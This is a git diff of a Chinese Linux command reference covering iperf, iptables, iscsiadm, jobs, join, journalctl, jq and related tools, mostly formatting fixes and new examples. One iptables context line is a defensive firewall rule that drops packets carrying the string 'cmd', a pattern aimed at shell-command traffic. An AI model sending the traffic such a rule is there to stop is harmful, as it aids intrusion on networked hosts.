-d, --dualtest运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-n, --num #[KM]传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-t, --time #设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport #指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel #线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos #出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。 -例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是: -IPTOS_LOWDELAY minimize delay 0x10 -IPTOS_THROUGHPUT maximize throughput 0x08 -IPTOS_RELIABILITY maximize reliability 0x04 -IPTOS_LOWCOST minimize cost 0x02
-T, --ttl #出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-F (from v1.2 or higher)使用特定的数据流测量带宽,例如指定的文件。 -$ iperf -c -F
-I (from v1.2 or higher)与-F一样,由标准输入输出文件输入数据。
杂项
-h, --help显示命令行参考并退出 。
-v, --version显示版本信息和编译信息并退出。
- -### 实例 +### 选项 + +```bash +-f, --format \[bkmaBKMA] # 格式化带宽数输出。支持的格式有: + # 'b' = bits/sec + # 'B' = Bytes/sec + # 'k' = Kbits/sec + # 'K' = KBytes/sec + # 'm' = Mbits/sec + # 'M' = MBytes/sec + # 'g' = Gbits/sec + # 'G' = GBytes/sec + # 'a' = adaptive bits/sec + # 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。 + # 除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 + # 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。 + # 通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。 + # 如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。 +-i, --interval # # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。 +-l, --len #\[KM] # 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。 +-m, --print\_mss # 输出TCP MSS值(通过TCP\_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况 +-p, --port # # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。 +-u, --udp # 使用UDP方式而不是TCP方式。参看-b选项。 +-w, --window #\[KM] # 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。 + # 对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。 +-B, --bind host # 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说, + # 这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。 + # 使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。 +-C, --compatibility # 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。 + # 某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。 +-M, --mss # ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。 +-N, --nodelay # 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。 +-V (from v1.6 or higher) # 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。 +``` + +服务器端专用选项 + +```bash +-s, --server # Iperf服务器模式 +-D (v1.2或更高版本) # Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。 +-R(v1.2或更高版本,仅用于Windows) # 卸载Iperf服务(如果它在运行)。 +-o(v1.2或更高版本,仅用于Windows) # 重定向输出到指定文件 +-c, --client host # 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。 +-P, --parallel # # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。 +``` + +客户端专用选项 + +```bash +-b, --bandwidth #\[KM] # UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。 +-c, --client host # 运行Iperf的客户端模式,连接到指定的Iperf服务器端。 +-d, --dualtest # 运行双测试模式。这将使服务器端反向连接到客户端, + # 使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。 + # 这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。 +-n, --num #\[KM] # 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。 + # -n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。 +-r, --tradeoff # 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口), + # 反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。 +-t, --time # # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。 +-L, --listenport # # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。 +-P, --parallel # # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。 +-S, --tos # # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数, + # 或以"0"开始的8进制数或10进制数。 例如,16进制'0x10' = 8进制'020' = 十进制'16'。 + # TOS值1349就是: IPTOS\_LOWDELAY minimize delay 0x10 IPTOS\_THROUGHPUT maximize + # throughput 0x08 IPTOS\_RELIABILITY maximize reliability 0x04 IPTOS\_LOWCOST minimize cost 0x02 +-T, --ttl # # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。 +-F (from v1.2 or higher) # 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F +-I (from v1.2 or higher) # 与-F一样,由标准输入输出文件输入数据。 +``` + +杂项 + +```bash +-h, --help # 显示命令行参考并退出 。 +-v, --version # 显示版本信息和编译信息并退出。 +``` + +### 实例 带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。 @@ -250,4 +161,3 @@ iperf -c 192.168.1.1 -d -t 60 进行上下行带宽测试。 - \ No newline at end of file diff --git a/command/iptables-restore.md b/command/iptables-restore.md index 0d117891929..c29290f679f 100644 --- a/command/iptables-restore.md +++ b/command/iptables-restore.md @@ -7,26 +7,26 @@ iptables-restore **iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 -### 语法 +### 语法 ```shell -iptables-restor(选项) +iptables-restore(选项) ``` -### 选项 +### 选项 ```shell -c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值; -t:指定要还原表的名称。 ``` -### 实例 +### 实例 ```shell -iptables-restor < iptables.bak +iptables-restore < iptables.bak ``` iptables.bak是iptables-save命令所备份的文件。 - \ No newline at end of file + diff --git a/command/iptables-save.md b/command/iptables-save.md index 2eb7c9c2426..b2b8fde9eca 100644 --- a/command/iptables-save.md +++ b/command/iptables-save.md @@ -7,20 +7,20 @@ iptables-save **iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。 -### 语法 +### 语法 ```shell iptables-save(选项) ``` -### 选项 +### 选项 ```shell -c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值; -t:指定要保存的表的名称。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# iptables-save -t filter > iptables.bak @@ -40,4 +40,3 @@ COMMIT ``` - \ No newline at end of file diff --git a/command/iptables.md b/command/iptables.md index 5f70449c28e..13b461cbdf8 100644 --- a/command/iptables.md +++ b/command/iptables.md @@ -18,7 +18,7 @@ Linux上常用的防火墙软件 - [防火墙的策略](#防火墙的策略) - [防火墙的策略](#防火墙的策略-1) - [实例](#实例) - - [空当前的所有规则和计数](#空当前的所有规则和计数) + - [清空当前的所有规则和计数](#清空当前的所有规则和计数) - [配置允许ssh端口连接](#配置允许ssh端口连接) - [允许本地回环地址可以正常使用](#允许本地回环地址可以正常使用) - [设置默认的规则](#设置默认的规则) @@ -72,7 +72,7 @@ iptables(选项)(参数) -F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。 -N, --new-chain chain 用指定的名字创建一个新的链。 -X, --delete-chain [chain] :删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。 --E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部照成任何影响。 +-E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部造成任何影响。 -Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。 -j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。 @@ -154,6 +154,7 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种 - **DNAT** :目标地址转换。 - **MASQUERADE** :IP伪装(NAT),用于ADSL。 - **LOG** :日志记录。 +- **SEMARK** : 添加SEMARK标记以供网域内强制访问控制(MAC) ```shell ┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓ @@ -191,7 +192,7 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种 ### 实例 -#### 空当前的所有规则和计数 +#### 清空当前的所有规则和计数 ```shell iptables -F # 清空所有的防火墙规则 @@ -390,6 +391,12 @@ iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT ``` +#### 添加SECMARK记录 +```shell +iptables -t mangle -A INPUT -p tcp --src 192.168.1.2 --dport 443 -j SECMARK --selctx system_u:object_r:myauth_packet_t +# 向从 192.168.1.2:443 以TCP方式发出到本机的包添加MAC安全上下文 system_u:object_r:myauth_packet_t +``` + ## 更多实例 > 用iptables搭建一套强大的安全防护盾 http://www.imooc.com/learn/389 @@ -512,4 +519,4 @@ iptables -I INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j iptables -I INPUT -m limit --limit 3/hour --limit-burst 10 -j ACCEPT # limit模块; --limit-burst 默认为5 ``` - + diff --git a/command/iptraf.md b/command/iptraf.md index 52d1cc10522..c801ef9bffd 100644 --- a/command/iptraf.md +++ b/command/iptraf.md @@ -7,13 +7,13 @@ iptraf **iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 -### 语法 +### 语法 ```shell iptraf(选项) ``` -### 选项 +### 选项 ```shell -i网络接口:立即在指定网络接口上开启IP流量监视; @@ -29,4 +29,3 @@ iptraf(选项) ``` - \ No newline at end of file diff --git a/command/iptstate.md b/command/iptstate.md index fda00a5e458..184e3e8f287 100644 --- a/command/iptstate.md +++ b/command/iptstate.md @@ -7,13 +7,13 @@ iptstate **iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。 -### 语法 +### 语法 ```shell iptstate(选项) ``` -### 选项 +### 选项 ```shell -b:指定输出信息的排序规则; @@ -28,4 +28,3 @@ iptstate(选项) ``` - \ No newline at end of file diff --git a/command/iscsiadm.md b/command/iscsiadm.md new file mode 100644 index 00000000000..642674f8b8f --- /dev/null +++ b/command/iscsiadm.md @@ -0,0 +1,98 @@ +iscsiadm +=== + +管理iSCSI连接 + +## 补充说明 + +**iscsiadm命令** 用于管理 iSCSI(Internet Small Computer System Interface)存储连接。iSCSI 是一种基于网络的存储协议,允许在计算机之间传输块级别的数据。iscsiadm 命令提供了与 iSCSI 存储设备进行连接、配置和管理的功能。 +```shell +yum install iscsi-initiator-utils #安装iscsiadm +/etc/iscsi/initiatorname.iscsi #iscsi启动器名称配置文件位置 +systemctl enable iscsi #设置服务开机启动 +systemctl enable iscsid +systemctl restart iscsi #重启iscsi服务 +systemctl restart iscsid +``` + +## 语法 + +```shell +iscsiadm [选项] <命令> <参数> +``` + +## 选项 + +```shell +-m,--mode # <模式> 指定工作模式,如discovery(发现模式)、node(管理节点)、session(管理会话)、discoverydb、host、iface(管理 iSCSI 网络接口); +-t,--type # 指定类型,如sendtargets (或st)、isns、fw,仅用于discovery模式; +-T,--targetname # 指定目标名称,仅用于node模式; +-p,--portal # 指定目标IP,不带端口默认使用3260,仅用于discovery、node模式; +-l,--login # 登录一个iSCSI设备,仅用于discovery、node模式; +-u,--logout # 退出一个iSCSI设备,仅用于node、session模式; +-I,--interface # 指定用于iSCSI操作的网络接口; +-P,--print # <0-4> 打印详细,用于discovery、node、session模式; +-s,--stats # 查看会话状态 +-h,--help # 显示帮助; +-V,--version # 显示版本信息。 +``` + +## 实例 + +发送iSCSI发现请求,并列出发现的iSCSI设备目标器: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m discovery -t st -p 10.10.10.10 +10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.default-target.1 +``` + +登录到发现的iSCSI目标器: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -l +Logging in to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] (multiple) +Login to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] successful. +``` + +查看已登录的设备: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m session +tcp: [3] 10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.target.1 (non-flash) +``` + +退出已登录的设备: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -u +Logging out of session [sid: 11, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] +或 +[root@Azroy-s1 ~]# iscsiadm -m session -u #退出所有iscsi会话 +``` + +使用lsblk或fdisk查看硬盘,对硬盘分区再格式化后可挂载目录 + +```shell +[root@Azroy-s1 ~]# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +sda 8:0 0 1.8T 0 disk +├─sda1 8:1 0 1G 0 part /boot +└─sda2 8:2 0 1.8T 0 part + ├─centos-root 253:0 0 1.8T 0 lvm / + └─centos-swap 253:1 0 5.9G 0 lvm [SWAP] +sdb 8:32 0 10G 0 disk + +[root@Azroy-s1 ~]# lsblk -S /dev/sd* #可以查看硬盘传输类型 +NAME HCTL TYPE VENDOR MODEL REV TRAN +sda 0:1:0:0 disk HP LOGICAL VOLUME 3.00 sas +sdb 12:0:0:1 disk SYNOLOGY Storage 4.0 iscsi + +[root@Azroy-s1 ~]# fdisk -l /dev/sdb +磁盘 /dev/sdb:10.7 GB, 10737418240 字节,20971520 个扇区 +Units = 扇区 of 1 * 512 = 512 bytes +扇区大小(逻辑/物理):512 字节 / 512 字节 +I/O 大小(最小/最佳):512 字节 / 512 字节 +``` + + + diff --git a/command/ispell.md b/command/ispell.md index 87da5274579..7db3f01a133 100644 --- a/command/ispell.md +++ b/command/ispell.md @@ -7,15 +7,14 @@ ispell **ispell命令** 用于检查文件中出现的拼写错误。 -### 语法 +### 语法 ```shell ispell(参数) ``` -### 参数 +### 参数 文件:指定要进行拼写检查的文件。 - \ No newline at end of file diff --git a/command/jed.md b/command/jed.md index a49f61d6b9f..47983ff6e5b 100644 --- a/command/jed.md +++ b/command/jed.md @@ -7,13 +7,13 @@ jed **jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。 -### 语法 +### 语法 ```shell jed(选项)(参数) ``` -### 选项 +### 选项 ```shell -2:显示上下两个编辑区; @@ -25,11 +25,11 @@ jed(选项)(参数) -s<字符串>:查找并移到指定的字符串。 ``` -### 参数 +### 参数 文件:指定待编辑的文件列表。 -### 实例 +### 实例 以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区: @@ -67,4 +67,3 @@ unset_setkey ("@\emy", "\ey"); ``` - \ No newline at end of file diff --git a/command/jobs.md b/command/jobs.md index 969899e1a77..5ffbb6e7406 100644 --- a/command/jobs.md +++ b/command/jobs.md @@ -1,51 +1,79 @@ jobs === -显示Linux中的任务列表及任务状态 +显示作业的状态。 -## 补充说明 +## 概要 -**jobs命令** 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。 +```shell +jobs [-lnprs] [jobspec ...] +jobs -x command [args] +``` + +## 主要用途 -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +- 显示作业的状态。 +- 列出活动的作业。 +- 列出停止的作业。 -### 语法 +## 选项 ```shell -jobs(选项)(参数) +-l 在作业信息中额外的列出PID。 +-n 只列出最近一次通知以来状态变更的作业。 +-p 只列出PID。 +-r 只输出处于运行状态的作业。 +-s 只输出处于停止状态的作业。 ``` -### 选项 +## 返回值 + +返回状态为成功除非给出了非法选项、执行出现错误。 + +如果使用`jobs -x command [args]`形式执行,那么返回值为`command`的退出状态。 + +## 例子 ```shell --l:显示进程号; --p:仅任务对应的显示进程号; --n:显示任务状态的变化; --r:仅输出运行状态(running)的任务; --s:仅输出停止状态(stoped)的任务。 -``` +[user2@pc] ssh 192.168.1.4 +pc@192.168.1.4's password: +# 此时按下ctrl+z使得交互停止。 +[1]+ Stopped ssh 192.168.1.4 -### 参数 +[user2@pc] sleep 60 & +[2] 13338 -任务标识号:指定要显示的任务识别号。 +[user2@pc] jobs +[1]- Stopped ssh 192.168.1.4 +[2] Running sleep 60 & -### 实例 +[user2@pc] jobs -l +[1]- 12927 Stopped ssh 192.168.1.4 +[2] 13338 Running sleep 60 & -使用jobs命令显示当前系统的任务列表,输入如下命令: +[user2@pc] jobs -p +12927 +13338 -```shell -jobs -l #显示当前系统的任务列表 -``` +[user2@pc] jobs -s +[1]- Stopped ssh 192.168.1.4 -上面的命令执行后,将显示出当前系统下的任务列表信息,具体如下所示: +[user2@pc] jobs -r +[2] Running sleep 60 & -```shell -[1] + 1903 运行中 find / -name password & +[user2@pc] kill -9 12927 +[2] Done sleep 60 + +[user2@pc] jobs -n -l +[1]+ 12927 Killed ssh 192.168.1.4 + +[user2@pc] jobs -n -l ``` -注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息。 +### 注意 -其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令。 +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 - \ No newline at end of file diff --git a/command/joe.md b/command/joe.md index 583887b791e..6c78be9ef81 100644 --- a/command/joe.md +++ b/command/joe.md @@ -7,13 +7,13 @@ joe **joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。 -### 语法 +### 语法 ```shell joe(选项)(参数) ``` -### 选项 +### 选项 ```shell -force:强制在最后一行的结尾处加上换行符号; @@ -40,9 +40,8 @@ joe(选项)(参数) -skiptop<行数>:不使用屏幕上方指定的行数。 ``` -### 参数 +### 参数 文件:指定要编辑的文件。 - \ No newline at end of file diff --git a/command/join.md b/command/join.md index 7e99f4ab4b2..50fdccdadd4 100644 --- a/command/join.md +++ b/command/join.md @@ -7,13 +7,13 @@ join **join命令** 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。 -### 语法 +### 语法 ```shell join(选项)(参数) ``` -### 选项 +### 选项 ```shell -a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行; @@ -26,10 +26,38 @@ join(选项)(参数) -2<栏位>:连接[文件2]指定的栏位。 ``` -### 参数 +### 参数 * 文件1:要进行合并操作的第1个文件参数; * 文件2:要进行合并操作的第2个文件参数。 +### 常见用法 - \ No newline at end of file +把两个文件制定栏位内容相同的行连接起来: + +```shell +[root@localhost ~]# cat name +1 xiaoming +2 xiaowang +3 xiaoliu +[root@localhost ~]# cat city +1 beijing beijing +2 hubei wuhan +3 hunan changsha + +# city文件在后,则拼接在后,如果city文件在前,则name文件拼接在后。 +[root@localhost ~]# join name city +1 xiaoming beijing beijing +2 xiaowang hubei wuhan +3 xiaoliu hunan changsha +``` + +把两个文件指定列拼接起来: + +```shell +# 把name文件的第2列和city文件的第3列拼接起来 +[root@localhost ~]# join -o 1.2 2.3 name city +xiaoming beijing +xiaowang wuhan +xiaoliu changsha +``` diff --git a/command/journalctl.md b/command/journalctl.md new file mode 100644 index 00000000000..2c9b8510a49 --- /dev/null +++ b/command/journalctl.md @@ -0,0 +1,155 @@ +journalctl +=== + +检索 systemd 日志,只要使用 systemd 的 Linux 发行版(如 Fedora、Ubuntu Modern、Debian、SUSE、Arch),几乎都会配备 journalctl。 + +### 语法 + +```shell +journalctl [OPTIONS...] [MATCHES...] +``` + +### 选项 + +```shell +Flags: + --system # 显示系统日志 + --user # 显示当前用户的用户日志 +-M --machine=CONTAINER # 在本地容器上操作 +-S --since=DATE # 显示不早于指定日期的条目 +-U --until=DATE # 显示不晚于指定日期的条目 +-c --cursor=CURSOR # 显示从指定光标开始的条目 + --after-cursor=CURSOR # 在指定光标后显示条目 + --show-cursor # 在所有条目之后打印光标 +-b --boot[=ID] # 显示当前启动或指定启动 + --list-boots # 显示有关已记录引导的简洁信息 +-k --dmesg # 显示当前启动的内核消息日志 +-u --unit=UNIT # 显示指定单元的日志 +-t --identifier=STRING # 显示具有指定系统日志标识符的条目 +-p --priority=RANGE # 显示具有指定优先级的条目 +-e --pager-end # 在pager中立即跳转到末尾 +-f --follow # 关注期刊 +-n --lines[=INTEGER] # 要显示的日志条目数 + --no-tail # 显示所有行,即使在跟随模式下 +-r --reverse # 首先显示最新的条目 +-o --output=STRING # 更改日志输出模式 (short, short-iso, + short-precise, short-monotonic, verbose, + export, json, json-pretty, json-sse, cat) +--utc # 以协调世界时 (UTC) 表示的时间 +-x --catalog # 在可用的情况下添加消息说明 + --no-full # Ellipsize 字段 +-a --all # 显示所有字段,包括长的和不可打印的 +-q --quiet # 不显示特权警告 + --no-pager # 不要将输出通过管道传输到寻呼机 +-m --merge # 显示所有可用期刊的条目 +-D --directory=PATH # 显示目录中的日志文件 + --file=PATH # 显示日志文件 + --root=ROOT # 对根目录下的目录文件进行操作 + --interval=TIME # 更改 FSS 密封键的时间间隔 + --verify-key=KEY # 指定FSS验证密钥 + --force # 使用 --setup-keys 覆盖 FSS 密钥对 + +Commands: +-h --help # 显示此帮助文本 + --version # 显示包版本 +-F --field=FIELD # 列出指定字段的所有值 + --new-id128 # 生成新的 128 位 ID + --disk-usage # 显示所有日志文件的总磁盘使用情况 + --vacuum-size=BYTES # 将磁盘使用量减少到指定大小以下 + --vacuum-time=TIME # 删除早于指定日期的日志文件 + --flush # 将所有日志数据从 /run 刷新到 /var + --header # 显示期刊头信息 + --list-catalog # 显示目录中的所有消息 ID + --dump-catalog # 在消息目录中显示条目 + --update-catalog # 更新消息目录数据库 + --setup-keys # 生成新的 FSS 密钥对 + --verify # 验证日志文件的一致性 +``` + +### 实例 + +**过滤输出** + +`journalctl` 可以根据特定字段过滤输出。如果过滤的字段比较多,需要较长时间才能显示出来。 + +示例: + +显示本次启动后的所有日志: + +```shell +journalctl -b +``` + +不过,一般大家更关心的不是本次启动后的日志,而是上次启动时的(例如,刚刚系统崩溃了)。可以使用 -b 参数: + +- `journalctl -b -0` 显示本次启动的信息 +- `journalctl -b -1` 显示上次启动的信息 +- `journalctl -b -2` 显示上上次启动的信息 `journalctl -b -2` + +只显示错误、冲突和重要告警信息 + +```shell +journalctl -p err..alert +``` + +也可以使用数字, `journalctl -p 3..1`。如果使用单个 number/keyword,则 `journalctl -p 3` - 还包括所有更高的优先级。 + +显示从某个日期 ( 或时间 ) 开始的消息: + +```shell +journalctl --since="2012-10-30 18:17:16" +``` + +显示从某个时间 ( 例如 20分钟前 ) 的消息: + +```shell +journalctl --since "20 min ago" +``` + +显示最新信息 + +```shell +journalctl -f +``` + +显示特定程序的所有消息: + +```shell +journalctl /usr/lib/systemd/systemd +``` + +显示特定进程的所有消息: + +```shell +journalctl _PID=1 +``` + +显示指定单元的所有消息: + +```shell +journalctl -u man-db.service +``` + +显示内核环缓存消息r: + +```shell +journalctl -k +``` + +**手动清理日志** + +`/var/log/journal` 存放着日志, `rm` 应该能工作. 或者使用 `journalctl`, + +例如: + +清理日志使总大小小于 100M: + +```shell +journalctl --vacuum-size=100M +``` + +清理最早两周前的日志. + +```shell +journalctl --vacuum-time=2weeks +``` diff --git a/command/jq.md b/command/jq.md new file mode 100644 index 00000000000..3a897c26d0e --- /dev/null +++ b/command/jq.md @@ -0,0 +1,190 @@ +jq +=== + +一个灵活的轻量级命令行JSON处理器 + +### 补充说明 + +jq 是 stedolan 开发的一个轻量级的和灵活的命令行JSON处理器,源码请参考 [jq 项目主页](https://github.com/stedolan/jq) + +jq 用于处理JSON输入,将给定过滤器应用于其JSON文本输入并在标准输出上将过滤器的结果生成为JSON。 + +最简单的过滤器是`.`,它将jq的输入未经修改地复制到其输出中(格式设置除外)。 + +请注意,jq 当前仅支持64位双精度浮点数(IEEE754)。 + + +### 安装 + +```bash +# Debian系,如 Ubuntu +sudo apt-get install jq + +# RedHat系, 如 CentOS +yum install jq +``` + +### 语法 + +```bash +jq [options] [file...] +jq [options] --args [strings...] +jq [options] --jsonargs [JSON_TEXTS...] +``` + +### 选项 + +```bash +-c 紧凑而不是漂亮的输出; +-n 使用`null`作为单个输入值; +-e 根据输出设置退出状态代码; +-s 将所有输入读取(吸取)到数组中;应用过滤器; +-r 输出原始字符串,而不是JSON文本; +-R 读取原始字符串,而不是JSON文本; +-C 为JSON着色; +-M 单色(不要为JSON着色); +-S 在输出上排序对象的键; +--tab 使用制表符进行缩进; +--arg a v 将变量$a设置为value; +--argjson a v 将变量$a设置为JSON value; +--slurpfile a f 将变量$a设置为从读取的JSON文本数组; +--rawfile a f 将变量$a设置为包含内容的字符串; +--args 其余参数是字符串参数,而不是文件; +--jsonargs 其余的参数是JSON参数,而不是文件; +-- 终止参数处理; +``` + +### 例子 + +`.`: 以漂亮的方式输出 + +```bash +$ echo '{ "foo": { "bar": { "baz": 123 } } }' | jq '.' +{ + "foo": { + "bar": { + "baz": 123 + } + } +} + +``` + +`.foo, .foo.bar, .foo?`: 获取一个键的值 + +```bash +$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo' +42 +``` + +`.[], .[]?, .[2], .[10:15]`: 数组运算 + +```bash +$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]' +{ + "name": "XML", + "good": false +} + +``` + +`[], {}`: 构造一个数组/对象 + +```bash +$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}' + +{ + "user": "stedolan", + "title": "JQ Primer" +} +{ + "user": "stedolan", + "title": "More JQ" +} + +``` + +`length`: 计算一个值的长度 + +```bash +$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length' +2 +6 +1 +0 + +``` + +`keys`: 取出数组中的键 + +```bash +$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys' +[ + "Foo", + "abc", + "abcd" +] + +``` + +`,`: 使用多个过滤器 + +```bash +$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar' +42 +"something else" + +``` + +`|`: 通过管道将一个过滤器的输出当做下一个过滤器的输入 + +```bash +$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name' +"JSON" +"XML" + +``` + +`select(foo)`: 如果foo返回true,则输入保持不变 + +```bash +$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))' +[ + 5, + 3, + 7 +] + +``` + +`map(foo)`: 每个输入调用过滤器 + +```bash +$ echo '[1,2,3]' | jq 'map(.+1)' +[ + 2, + 3, + 4 +] + +``` + +`if-then-else-end`: 条件判断 + +```bash + $ echo '2' | jq 'if . == 0 then "zero" elif . == 